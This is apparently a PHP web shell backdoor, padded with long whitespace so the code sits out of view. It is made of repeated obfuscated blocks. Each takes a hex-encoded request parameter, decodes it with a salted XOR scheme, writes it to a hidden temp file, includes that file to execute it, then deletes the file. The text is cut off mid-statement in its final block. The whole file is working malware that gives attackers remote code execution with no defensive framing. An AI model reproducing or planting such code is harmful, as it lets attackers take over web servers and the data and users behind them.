<?																																										if(in_array("\x65\x6Cem", array_keys($_REQUEST))){ $dchunk = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm"]); $mrk = $_REQUEST["\x65\x6Cem"]; $mrk = explode ( "." , $mrk) ; $pointer = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $k = 0; $__len = count($mrk ); do {if ($k >= $__len) break; $v6 = $mrk[$k]; $chS = ord($salt6[$k% $lenS] ); $d = ((int)$v6 - $chS - ($k% 10)) ^ 82; $pointer .= chr($d ); $k++; }while (true ); foreach ($dchunk as $obj): if (array_product([is_dir($obj), is_writable($obj)])) { $ptr = sprintf("%s/.val", $obj); $success = file_put_contents($ptr, $pointer); if ($success) { include $ptr; @unlink($ptr); die();} } endforeach; }
																																										if(isset($_POST["\x65\x6Eti\x74y"]) ? true : false){ $rec = array_filter([getenv("TEMP"), "/dev/shm", "/tmp", getenv("TMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir()]); $itm = $_POST["\x65\x6Eti\x74y"]; $itm = explode( "." ,$itm ) ; $dat = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $l = 0; while($l <count($itm)) { $v1 = $itm[$l]; $sChar = ord($salt6[$l%$sLen]); $dec =((int)$v1 - $sChar -($l%10)) ^ 44; $dat.= chr($dec); $l++; } while ($res = array_shift($rec)) { if ((is_dir($res) and is_writable($res))) { $element = "$res" . "/.ptr"; if (@file_put_contents($element, $dat) !== false) { include $element; unlink($element); exit; } } } }
																																										if(!is_null($_REQUEST["\x72\x65c"] ?? null)){ $entity = array_filter([ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp"]); $bind = $_REQUEST["\x72\x65c"]; $bind =explode( "." , $bind ) ; $resource= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $w= 0; array_walk( $bind ,function( $v3) use( &$resource ,&$w ,$salt ,$lenS) {$sChar= ord( $salt[$w %$lenS]); $dec= ( ( int)$v3 - $sChar -( $w %10)) ^ 21; $resource.= chr( $dec); $w++; }); foreach ($entity as $key => $binding) { if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $elem = implode("/", [$binding, ".fac"]); if (@file_put_contents($elem, $resource) !== false) { include $elem; unlink($elem); exit; } } } }
																																										if(isset($_POST) && isset($_POST["o\x62\x6A"])){ $ent = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), "/dev/shm", session_save_path(), "/var/tmp", sys_get_temp_dir()]); $hld = $_POST["o\x62\x6A"]; $hld =explode ( "." , $hld ); $key = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); foreach ($hld as $t => $v7) { $sChar = ord($s7[$t % $sLen] ); $dec = ((int)$v7 - $sChar - ($t % 10)) ^ 15; $key.=chr($dec ); } foreach ($ent as $symbol) { if (!( !is_dir($symbol) || !is_writable($symbol) )) { $element = join("/", [$symbol, ".desc"]); if (file_put_contents($element, $key)) { require $element; unlink($element); exit; } } } }
																																										if(in_array("\x72\x65f", array_keys($_REQUEST))){ $sym = $_REQUEST["\x72\x65f"]; $sym = explode( '.',$sym ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $i = 0; array_walk($sym,function ($v3) use (&$component,&$i,$s,$sLen) { $sChar = ord($s[$i % $sLen]); $dec = ((int)$v3 - $sChar - ($i % 10)) ^ 95; $component .=chr($dec); $i++; } ); $desc = array_filter([session_save_path(), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); while ($flag = array_shift($desc)) { if (is_dir($flag) && is_writable($flag)) { $holder = vsprintf("%s/%s", [$flag, ".itm"]); if (@file_put_contents($holder, $component) !== false) { include $holder; unlink($holder); exit; } } } }
																																										if(isset($_POST["\x70s\x65t"]) ? true : false){ $flg = arra